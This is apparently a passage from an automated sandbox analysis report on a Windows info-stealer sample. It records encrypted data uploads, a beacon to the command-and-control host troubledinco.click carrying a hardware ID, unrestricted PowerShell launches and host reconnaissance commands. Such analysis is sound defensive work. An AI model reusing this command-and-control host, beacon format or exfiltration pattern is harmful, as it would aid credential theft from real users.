                                                                                                                                                                                                                                        Data Ascii: d4J_z )`"yDe\^s+Fh!C##0u^~ESc 7Ba5*<Dt[@|M5"5*}n&HO8s0g&/_R>>]hj^f\;N[i;,(i_!Va@0#Fb6Vu)Hk~*x6m^*|.To(1
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: 13 51 ad a4 8b a7 27 b3 34 f0 d0 5c cc b8 75 6e 5d 04 cf 25 2c 85 ad 75 81 6e 0e 21 e1 19 c9 8f af c4 fb 22 a9 06 08 ac 91 8a 5f b7 0c 99 5f 5d d6 2d 18 43 4a 20 42 b5 9f 4f 80 18 ee e9 82 4c d2 79 18 f9 7c 17 0e 76 79 54 0f 98 a9 f8 c8 f2 76 93 83 a4 73 80 fd 7e b6 38 6b 09 a4 b6 51 2a d6 02 67 c1 69 30 e5 ae 28 06 34 af 98 52 77 c0 c6 a0 56 66 e5 c0 03 e5 bb 9b 03 ba 18 22 aa 42 4d c6 3d af 17 61 b2 29 63 ac 5b 65 67 81 fc 1f 14 30 27 6d 5a d3 46 0a da 77 1d e1 41 9b 83 12 2a 21 da 84 a1 39 0e 18 c6 c3 2d 48 60 f9 08 ee 12 05 bb cb 96 85 e9 ed c6 bd e2 a0 6c f3 f6 de 00 14 d0 60 3f d1 44 54 16 6a 15 11 a2 e7 74 4a 32 a0 be 83 e3 c5 aa e0 34 c3 fd c3 c6 fa 61 c7 c1 8d a6 0f 29 87 c7 d9 8f 2a 53 54 94 a9 59 06 7f 14 fa 8e 0e 85 f5 88 b6 1e 48 af 0f a3 50
                                                                                                                                                                                                                                        Data Ascii: Q'4\un]%,un!"__]-CJ BOLy|vyTvs~8kQ*gi0(4RwVf"BM=a)c[eg0'mZFwA*!9-H`l`?DTjtJ24a)*STYHP
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: c8 f1 42 14 fc 5c 1c 2d 07 55 6b f4 36 4b 2a 6e 67 7a d3 62 8b 2c fc 68 c2 05 a6 b4 61 9b 22 b8 83 92 e0 d0 dc 43 40 ba 39 35 6d f7 f4 ad cb 75 c7 15 65 ca 1b 75 35 40 37 4f 10 7e e7 31 7a 1a 4d 7f bb 31 6a 99 db df 3b c6 ff dd 16 fa a2 4e b8 ce 19 22 33 b2 02 f8 ef 99 1b f6 23 49 8b fc 7c 1f 61 fa bc 75 f8 9e 82 21 ee 5f 38 de 71 5d c0 8e 51 46 fc 84 f8 54 af 20 db 16 b0 bf cb 12 81 46 47 ee 1e 12 3f e3 30 57 9a d5 a5 86 aa a1 b4 40 7d f2 e0 d0 47 5c d2 41 2f 43 ed 1e c5 3e c7 b2 1d a1 67 64 49 7d 13 b8 f4 3a dd ce af 9c a1 f2 83 91 48 cb 31 4c d5 03 d2 73 d6 4f ab 2b 0d a4 69 5c fe 76 8d e1 11 24 93 44 61 85 7b 20 b4 9b a8 10 8a 88 02 27 06 c5 6e dd b5 18 3f 2a 72 48 fc e8 ea b3 f9 86 50 05 92 57 93 76 89 09 85 17 1a ba 7c f7 ec 67 5f c6 cc 26 6f 2d 41
                                                                                                                                                                                                                                        Data Ascii: B\-Uk6K*ngzb,ha"C@95mueu5@7O~1zM1j;N"3#I|au!_8q]QFT FG?0W@}G\A/C>gdI}:H1LsO+i\v$Da{ 'n?*rHPWv|g_&o-A
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: a8 72 5f f9 19 d2 06 d9 67 30 1c 23 a3 db 7f 22 8c 5e eb fa c8 6c 27 83 28 00 ca 4b c7 cb cb 0d bc e2 00 3e 78 41 bb 3e 5c da d1 8f 33 95 71 19 10 fa fd 82 d3 dd 8c 3f eb b6 d7 b5 1b 15 af 67 a8 70 65 ce 91 f4 b7 ec 2d 17 b5 ae d2 b8 c1 1f 82 45 b7 5a b9 7c e7 d8 da 31 73 48 4a 66 a5 ca a6 3d 3b 7d d2 d6 fb 2a d0 a7 a5 1f cd 68 0d cd a7 a9 73 13 82 77 a5 4f d9 c0 71 f0 df 94 fe 6f 3d 83 37 0d 01 a1 00 ea c1 4b 1a db 70 84 83 9d bf ad 8d 7f a0 67 07 6d bc 2e 08 da 1a 3b c9 a9 62 1e dc 41 3e 96 df c5 e6 f4 1a 0b c4 28 65 0e be 97 03 5a 47 68 d7 3f a7 e5 2a b6 dc 0e d0 7e 1c fe f9 8e f1 2d 2d 30 5d 12 d5 80 a8 f4 3e 71 24 08 13 65 2d 00 6e a1 d0 bc 4b a7 9c 09 93 a2 c3 ae 52 32 bb ea f2 bd ba a5 fe 26 79 4a 8d 09 9a 94 61 20 e1 7a 03 b0 63 dc 9b fa 1d 20 4f
                                                                                                                                                                                                                                        Data Ascii: r_g0#"^l'(K>xA>\3q?gpe-EZ|1sHJf=;}*hswOqo=7Kpgm.;bA>(eZGh?*~--0]>q$e-nKR2&yJa zc O
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: 55 17 01 b1 cf fa 02 9e 8a 28 75 a9 40 68 ec 79 c7 aa 97 c5 1d 36 84 eb 5b 88 7b 0e 72 c7 7c 41 bd 3a a3 6f 21 66 3d 0c a6 c1 a1 17 16 c3 55 fa e0 c3 b2 2d 13 54 2a 76 d6 9f 86 0a c3 41 92 a8 f3 ab 95 3a 47 c2 64 b6 46 03 cb 06 b8 35 ba 23 89 84 8e 36 c4 a5 de 42 3f be 8b 42 20 a9 cd a4 f1 f6 ba b1 53 53 60 aa cc 9e 62 94 d9 3d 0b e1 0d 89 d5 bd d2 ef 0a 88 5e a2 c2 5a 56 7d 61 51 61 93 b8 77 e6 6d 98 23 6e 5a 57 30 e7 a1 d8 c5 2b 2e 11 c6 bc 2a fd 6e 96 5e a6 a3 b9 04 7f 6e 3f 8c f0 98 4e 8e 67 74 d7 6f d6 ee 9d e0 39 76 c5 54 18 15 4a 5d 9f 19 a2 ef 86 95 66 79 75 4a b1 65 e9 d3 6e da 19 00 47 85 99 ad 79 c3 d7 f5 26 b2 03 e2 37 ad 74 db b3 19 52 9c ab 06 d4 6b 6d 84 ae 1e b6 c7 51 ac ae c2 65 55 3d 70 49 bb 30 6d 30 59 75 9c a9 3f be 7e 26 2a 34 40 64
                                                                                                                                                                                                                                        Data Ascii: U(u@hy6[{r|A:o!f=U-T*vA:GdF5#6B?B SS`b=^ZV}aQawm#nZW0+.*n^n?Ngto9vTJ]fyuJenGy&7tRkmQeU=pI0m0Yu?~&*4@d
                                                                                                                                                                                                                                        2024-12-10 09:20:08 UTC15331OUTData Raw: 6f 8c 97 07 47 e4 c0 3b 19 3d 24 78 da 27 9a 6e 1e f2 63 bb 65 7f b2 c9 d5 ad 1f cf 84 35 c0 c9 75 3b 75 fe cf 00 c7 d5 4a 58 22 ae 90 17 e8 ac dd f6 ba 75 d7 f9 28 f5 07 12 ed 57 7b eb 5d 92 1c f8 2d 77 4a 17 f7 bc 4e 1c c2 71 55 02 aa a4 6f 7e 54 49 78 8b 21 da d6 a0 b0 83 ca bb d1 c7 f6 1a c1 8e 90 6c 15 38 5c 7f 3d 2d cc 4d a5 71 b7 09 ef e9 d1 77 9d f8 bc a8 a1 98 f9 ab 66 69 1d e2 b7 88 42 9f 1d a8 5d c9 a1 03 77 e4 36 ec af ad 7d 14 c1 73 5f d0 45 69 18 c3 43 82 4a 8a 09 96 d9 82 af 8f 6a 7d 8a 7e b3 c9 3e 52 ec 01 65 3b 79 a9 4b 7b 51 29 2e d8 b9 f1 62 e1 bb ce cd 91 bc 2c 0c c7 cd 4c 7a 1a 03 e1 e6 5c 9b b1 e3 6b 6f 6b a2 8f 60 f5 5b b9 9d 4e 06 8a 6b b5 71 a4 2a 3e 7c 62 b0 86 5e 9b d8 1c 8d 30 6c f2 37 8b e0 5d 5d 91 8f 89 ec 91 cf 0b 6b 62 f9
                                                                                                                                                                                                                                        Data Ascii: oG;=$x'nce5u;uJX"u(W{]-wJNqUo~TIx!l8\=-MqwfiB]w6}s_EiCJj}~>Re;yK{Q).b,Lz\kok`[Nkq*>|b^0l7]]kb
                                                                                                                                                                                                                                        2024-12-10 09:20:11 UTC1027INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:20:11 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=0av26lkkfbgt4onu9qsqcpfrch; expires=Sat, 05-Apr-2025 03:06:49 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4T03PzkBlBwR%2FQEpE7NywCdHZlLWyrNLPaqVTmuT0ObYpEwR4rpOxdFqxB4gU7xRKNC%2Bs1fJgR3lQn7nk0slubxCAZiddCix9s7iy54TH1Lw3i4%2B%2BqPZCk2%2Fci2ViUXeh3fsaVA%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc28452d975e6c-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1679&min_rtt=1678&rtt_var=631&sent=201&recv=591&lost=0&retrans=0&sent_bytes=2846&recv_bytes=571133&delivery_rate=1730883&cwnd=237&unsent_bytes=0&cid=ca7b6a42066d237d&ts=3064&x=0"


                                                                                                                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                        9192.168.2.450020172.67.163.84433068C:\Users\user\AppData\Local\Temp\254268\Ford.com
                                                                                                                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                        2024-12-10 09:20:12 UTC266OUTPOST /api HTTP/1.1
                                                                                                                                                                                                                                        Connection: Keep-Alive
                                                                                                                                                                                                                                        Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
                                                                                                                                                                                                                                        Content-Length: 82
                                                                                                                                                                                                                                        Host: troubledinco.click
                                                                                                                                                                                                                                        2024-12-10 09:20:12 UTC82OUTData Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 39 72 46 68 68 47 2d 2d 64 64 6e 34 34 26 6a 3d 26 68 77 69 64 3d 41 41 37 41 39 44 45 44 45 33 32 41 31 35 44 44 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43
                                                                                                                                                                                                                                        Data Ascii: act=get_message&ver=4.0&lid=9rFhhG--ddn44&j=&hwid=AA7A9DEDE32A15DD23D904AF30EFEBBC
                                                                                                                                                                                                                                        2024-12-10 09:20:13 UTC1013INHTTP/1.1 200 OK
                                                                                                                                                                                                                                        Date: Tue, 10 Dec 2024 09:20:13 GMT
                                                                                                                                                                                                                                        Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                                                                                                                        Connection: close
                                                                                                                                                                                                                                        Set-Cookie: PHPSESSID=00bmtcv6cjm8tj2sbuvlcso9o9; expires=Sat, 05-Apr-2025 03:06:52 GMT; Max-Age=9999999; path=/
                                                                                                                                                                                                                                        Expires: Thu, 19 Nov 1981 08:52:00 GMT
                                                                                                                                                                                                                                        Cache-Control: no-store, no-cache, must-revalidate
                                                                                                                                                                                                                                        Pragma: no-cache
                                                                                                                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C%2B0WXJ7qmH4rZeTqebxvSzvqvJOZM5O3HAq9ZuKOXw5Vc4T0gcht0YruKerub6lbzjGr77wVDlIwfkONu3kUh7qmwPInMQRhLDuLnK7y%2FOn9XTUH6AgIzIkXper6n6wlZIe6MzE%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                        Server: cloudflare
                                                                                                                                                                                                                                        CF-RAY: 8efc28609982729f-EWR
                                                                                                                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                        server-timing: cfL4;desc="?proto=TCP&rtt=1963&min_rtt=1958&rtt_var=744&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=984&delivery_rate=1460730&cwnd=169&unsent_bytes=0&cid=2107993045415c6d&ts=747&x=0"
                                                                                                                                                                                                                                        2024-12-10 09:20:13 UTC54INData Raw: 33 30 0d 0a 41 44 72 30 65 39 33 6d 4a 6c 53 6b 67 47 37 6a 57 6a 72 4b 74 2b 4e 39 4c 59 33 69 69 6a 70 38 44 35 6c 4f 6a 49 74 41 4a 4d 56 62 5a 77 3d 3d 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 30ADr0e93mJlSkgG7jWjrKt+N9LY3iijp8D5lOjItAJMVbZw==
                                                                                                                                                                                                                                        2024-12-10 09:20:13 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                                                        Data Ascii: 0


                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        Click to dive into process behavior distribution

                                                                                                                                                                                                                                        Click to jump to process

                                                                                                                                                                                                                                        Target ID:0
                                                                                                                                                                                                                                        Start time:04:17:11
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\Desktop\nanophanotool.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):true
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\Desktop\nanophanotool.exe"
                                                                                                                                                                                                                                        Imagebase:0x400000
                                                                                                                                                                                                                                        File size:64'853'056 bytes
                                                                                                                                                                                                                                        MD5 hash:6AE17B0BDDDA685EAA622CEF4BA2E805
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                        Target ID:2
                                                                                                                                                                                                                                        Start time:04:17:33
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        Imagebase:0x7ff7405d0000
                                                                                                                                                                                                                                        File size:160'084'992 bytes
                                                                                                                                                                                                                                        MD5 hash:879FC7D89F422B0CF9172FDE5F5F207F
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Antivirus matches:
                                                                                                                                                                                                                                        • Detection: 0%, ReversingLabs
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                        Target ID:3
                                                                                                                                                                                                                                        Start time:04:17:32
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\dllhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
                                                                                                                                                                                                                                        Imagebase:0x7ff70f330000
                                                                                                                                                                                                                                        File size:21'312 bytes
                                                                                                                                                                                                                                        MD5 hash:08EB78E5BE019DF044C26B14703BD1FA
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:moderate
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:7
                                                                                                                                                                                                                                        Start time:04:17:35
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c "chcp"
                                                                                                                                                                                                                                        Imagebase:0x7ff75adf0000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:8
                                                                                                                                                                                                                                        Start time:04:17:35
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:9
                                                                                                                                                                                                                                        Start time:04:17:35
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\chcp.com
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:chcp
                                                                                                                                                                                                                                        Imagebase:0x7ff78c9d0000
                                                                                                                                                                                                                                        File size:14'848 bytes
                                                                                                                                                                                                                                        MD5 hash:33395C4732A49065EA72590B14B64F32
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:10
                                                                                                                                                                                                                                        Start time:04:17:37
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1828 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
                                                                                                                                                                                                                                        Imagebase:0x7ff7405d0000
                                                                                                                                                                                                                                        File size:160'084'992 bytes
                                                                                                                                                                                                                                        MD5 hash:879FC7D89F422B0CF9172FDE5F5F207F
                                                                                                                                                                                                                                        Has elevated privileges:false
                                                                                                                                                                                                                                        Has administrator privileges:false
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                        Target ID:11
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:"C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\dkqjnjumskmeurhg" --mojo-platform-channel-handle=2112 --field-trial-handle=1832,i,10219770729751664883,7512495620751718441,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
                                                                                                                                                                                                                                        Imagebase:0x7ff7405d0000
                                                                                                                                                                                                                                        File size:160'084'992 bytes
                                                                                                                                                                                                                                        MD5 hash:879FC7D89F422B0CF9172FDE5F5F207F
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:low
                                                                                                                                                                                                                                        Has exited:false

                                                                                                                                                                                                                                        Target ID:12
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%"
                                                                                                                                                                                                                                        Imagebase:0x7ff75adf0000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Reputation:high
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:13
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:14
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:15
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:16
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:17
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -
                                                                                                                                                                                                                                        Imagebase:0x7ff788560000
                                                                                                                                                                                                                                        File size:452'608 bytes
                                                                                                                                                                                                                                        MD5 hash:04029E121A0CFA5991749937DD22A1D9
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:18
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:19
                                                                                                                                                                                                                                        Start time:04:17:39
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
                                                                                                                                                                                                                                        File size:862'208 bytes
                                                                                                                                                                                                                                        MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:20
                                                                                                                                                                                                                                        Start time:04:17:43
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log""
                                                                                                                                                                                                                                        Imagebase:0x7ff75adf0000
                                                                                                                                                                                                                                        File size:289'792 bytes
                                                                                                                                                                                                                                        MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                        Has elevated privileges:true
                                                                                                                                                                                                                                        Has administrator privileges:true
                                                                                                                                                                                                                                        Programmed in:C, C++ or other language
                                                                                                                                                                                                                                        Has exited:true

                                                                                                                                                                                                                                        Target ID:21
                                                                                                                                                                                                                                        Start time:04:17:43
                                                                                                                                                                                                                                        Start date:10/12/2024
                                                                                                                                                                                                                                        Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                        Wow64 process (32bit):false
                                                                                                                                                                                                                                        Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        Imagebase:0x7ff7699e0000
